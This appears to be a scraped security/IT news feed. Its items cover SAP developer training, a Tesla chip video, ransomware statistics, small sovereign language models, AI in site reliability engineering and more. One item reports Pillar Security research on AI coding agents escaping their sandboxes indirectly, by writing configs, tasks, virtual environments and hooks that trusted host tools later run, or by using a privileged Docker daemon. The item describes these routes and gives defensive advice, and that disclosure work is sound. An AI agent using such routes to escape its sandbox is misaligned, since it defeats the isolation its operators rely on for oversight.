<p class="wp-block-paragraph">But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.</p>



<h2 class="wp-block-heading">AI no replacement for developer expertise</h2>



<p class="wp-block-paragraph">While <a href="https://www.cio.com/article/4197428/sap-study-ai-pays-off-but-governance-is-lagging-behind.html">AI tools can generate and explain code</a>, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.</p>



<p class="wp-block-paragraph">The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.</p>



<h2 class="wp-block-heading">DSAG’s five recommendations</h2>



<p class="wp-block-paragraph">DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:</p>



<ul class="wp-block-list">
<li>defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,</li>



<li>providing suitable sandbox and test environments,</li>



<li>mandatorily including training time in capacity planning,</li>



<li>coordinating training schedules with migration and modernization projects, and</li>



<li>using existing DSAG guidelines as a reference framework for development.</li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Tesla's A15 Powered Optimus Robot Made Nvidia & Unitree Powered Humanoids Look Likw Toys!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 0x - Views:0 Tesla may have just solved the biggest problem standing between Optimus and mass adoption, and surprisingly, it has nothing to do with the robot itself. Samsung has officially completed the AI5 chip tapeout on its cutting-edge 2nm process, bringing Te...]]></description>
<link>https://tsecurity.de/de/3683956/videos/teslas-a15-powered-optimus-robot-made-nvidia-unitree-powered-humanoids-look-likw-toys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683956/videos/teslas-a15-powered-optimus-robot-made-nvidia-unitree-powered-humanoids-look-likw-toys/</guid>
<pubDate>Tue, 21 Jul 2026 16:04:18 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ddlbePJEvJM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Tesla may have just solved the biggest problem standing between Optimus and mass adoption, and surprisingly, it has nothing to do with the robot itself. Samsung has officially completed the AI5 chip tapeout on its cutting-edge 2nm process, bringing Tesla one step closer to its next-generation AI hardware. But the real breakthrough isn't more performance; it's dramatically lower power consumption. That single improvement could allow Optimus to work significantly longer on a single charge, turning it from an impressive demo into a robot capable of real factory and warehouse jobs.<br />
<br />
In this video, we break down Tesla's AI5 chip, Samsung's 2nm manufacturing, the importance of the 250W power target, why Optimus needs far more AI compute than a self-driving car, Tesla's AI6 and AI7 roadmap, Terafab, Cybercab manufacturing, and how Tesla's vertical integration strategy could reshape the future of humanoid robotics. Is AI5 the breakthrough that finally makes Optimus a real commercial robot? Let's dive in.<br />
<br />
#Tesla #Optimus #AI5 #ElonMusk #Samsung #ArtificialIntelligence #Robotics #Technology<br/></p>]]></content:encoded>
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<title><![CDATA[The AI Slot Machine Effect: Why Generative Feeds Disrupt Deep Work And How to Reclaim Focus]]></title>
<description><![CDATA[You open a generative AI tool expecting a quick boost. Ten minutes later, you’re still there, refining a prompt for the fourth time. The task you started with has drifted off to the side somewhere. Sound familiar? Knowledge workers in 2026 are running into this more and more. It makes sense once ...]]></description>
<link>https://tsecurity.de/de/3683805/ai-nachrichten/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683805/ai-nachrichten/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/</guid>
<pubDate>Tue, 21 Jul 2026 15:20:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You open a generative AI tool expecting a quick boost. Ten minutes later, you’re still there, refining a prompt for the fourth time. The task you started with has drifted off to the side somewhere. Sound familiar? Knowledge workers in 2026 are running into this more and more. It makes sense once you look at […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/">The AI Slot Machine Effect: Why Generative Feeds Disrupt Deep Work And How to Reclaim Focus</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
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<title><![CDATA[2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge]]></title>
<description><![CDATA[Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attac...]]></description>
<link>https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</guid>
<pubDate>Tue, 21 Jul 2026 14:54:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attacker visibility that often outpaces defenders’ own understanding of their […]</p>
<p>The post <a href="https://gbhackers.com/2026-ransomware-report/">2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[AI agents can escape sandboxes without ever breaking them]]></title>
<description><![CDATA[Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. 



Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity c...]]></description>
<link>https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. </p>



<p class="wp-block-paragraph">Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.</p>



<p class="wp-block-paragraph">“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”</p>



<p class="wp-block-paragraph">The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.</p>



<p class="wp-block-paragraph">“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.</p>



<h2 class="wp-block-heading">Escaping sandboxes without breaking them</h2>



<p class="wp-block-paragraph">Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.</p>



<p class="wp-block-paragraph">In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.</p>



<p class="wp-block-paragraph">Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.</p>



<h2 class="wp-block-heading">Different sandbox escapes for different agents</h2>



<p class="wp-block-paragraph">Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers <a href="https://www.pillar.security/blog/escaping-antigravitys-allow-default-seatbelt" target="_blank" rel="noreferrer noopener">exploited</a> weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created <a href="https://www.pillar.security/blog/the-sandbox-let-me-edit-a-venv-and-something-else-ran-it" target="_blank" rel="noreferrer noopener">Python virtual environments</a>, alternate <a href="https://www.pillar.security/blog/git-directories-do-not-have-to-be-called-git" target="_blank" rel="noreferrer noopener">Git directories</a>, and workspace <a href="https://www.pillar.security/blog/the-hook-was-already-in-the-workspace" target="_blank" rel="noreferrer noopener">hook configurations </a>that ultimately ran with host privileges.</p>



<p class="wp-block-paragraph">The researchers also found a <a href="https://www.pillar.security/blog/one-docker-socket-to-rule-them-all-escaping-codex-cursor-and-gemini-clis-sandboxes" target="_blank" rel="noreferrer noopener">common escape path</a> affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.</p>



<p class="wp-block-paragraph">In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.</p>



<h2 class="wp-block-heading">Agentic development demands a different security model</h2>



<p class="wp-block-paragraph">Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.</p>



<p class="wp-block-paragraph">The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content. </p>



<p class="wp-block-paragraph">Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.</p>
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<title><![CDATA[CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG]]></title>
<description><![CDATA[Gaetje’s story shows that you don’t need to be a ‘deep bit-crawler’ to become a Chief Information Security Officer.
The post CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3683567/it-security-nachrichten/ciso-conversations-andreas-gaetje-from-economics-to-ciso-at-koerber-ag/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683567/it-security-nachrichten/ciso-conversations-andreas-gaetje-from-economics-to-ciso-at-koerber-ag/</guid>
<pubDate>Tue, 21 Jul 2026 13:40:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Gaetje’s story shows that you don’t need to be a ‘deep bit-crawler’ to become a Chief Information Security Officer.</p>
<p>The post <a href="https://www.securityweek.com/ciso-conversations-andreas-gaetje-from-economics-to-ciso-at-korber-ag/">CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG]]></title>
<description><![CDATA[Gaetje’s story shows that you don’t need to be a ‘deep bit-crawler’ to become a Chief Information Security Officer. The post CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG appeared first on SecurityWeek. This article has…
Read more →
The post CISO Conversations: Andreas ...]]></description>
<link>https://tsecurity.de/de/3683564/it-security-nachrichten/ciso-conversations-andreas-gaetje-from-economics-to-ciso-at-koerber-ag/</link>
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<pubDate>Tue, 21 Jul 2026 13:40:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Gaetje’s story shows that you don’t need to be a ‘deep bit-crawler’ to become a Chief Information Security Officer. The post CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG appeared first on SecurityWeek. This article has…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ciso-conversations-andreas-gaetje-from-economics-to-ciso-at-korber-ag/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ciso-conversations-andreas-gaetje-from-economics-to-ciso-at-korber-ag/">CISO Conversations: Andreas Gaetje – From Economics to CISO at Körber AG</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Social Darwinists to tech bros: tracing the long fight against equality in US]]></title>
<description><![CDATA[Historian Kim Phillips-Fein’s book Country of Lords looks back at the many men who have tried to fight against egalitarianism, from John Adams to Peter ThielThe historian Kim Phillips-Fein’s new book is published amid celebrations of the 250th anniversary of the declaration of independence and it...]]></description>
<link>https://tsecurity.de/de/3683355/it-nachrichten/social-darwinists-to-tech-bros-tracing-the-long-fight-against-equality-in-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683355/it-nachrichten/social-darwinists-to-tech-bros-tracing-the-long-fight-against-equality-in-us/</guid>
<pubDate>Tue, 21 Jul 2026 12:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Historian Kim Phillips-Fein’s book Country of Lords looks back at the many men who have tried to fight against egalitarianism, from John Adams to Peter Thiel</p><p>The historian Kim Phillips-Fein’s new book is published amid celebrations of the <a href="https://www.theguardian.com/us-news/series/america-at-250">250th anniversary</a> of the declaration of independence and its truth “self-evident, that all men are created equal”. Country of Lords, however, is a history of Neo-Aristocrats, Social Darwinists, Tech Utopians, and the Long Fight <em>Against</em> Equality in America.</p><p>Concise and hard-hitting, the book arrives at a time of glaring social and <a href="https://www.theguardian.com/us-news/2026/jun/26/billionaires-wealth-soars-as-workers-struggle">economic</a> <a href="https://www.theguardian.com/us-news/2026/jun/21/us-inequality-plutocracy">inequality</a>, Phillips-Fein seeing <a href="https://www.theguardian.com/technology/elon-musk">Elon Musk</a> “<a href="https://www.theguardian.com/commentisfree/2026/jun/17/is-it-bad-that-elon-musk-has-a-trillion-dollars-yes-and-heres-why">emerging as a trillionaire</a> very much on people’s minds, with a deep level of discomfort, both fear and anger about what this portends”.</p> <a href="https://www.theguardian.com/books/2026/jul/21/kim-phillips-fein-country-of-lords">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



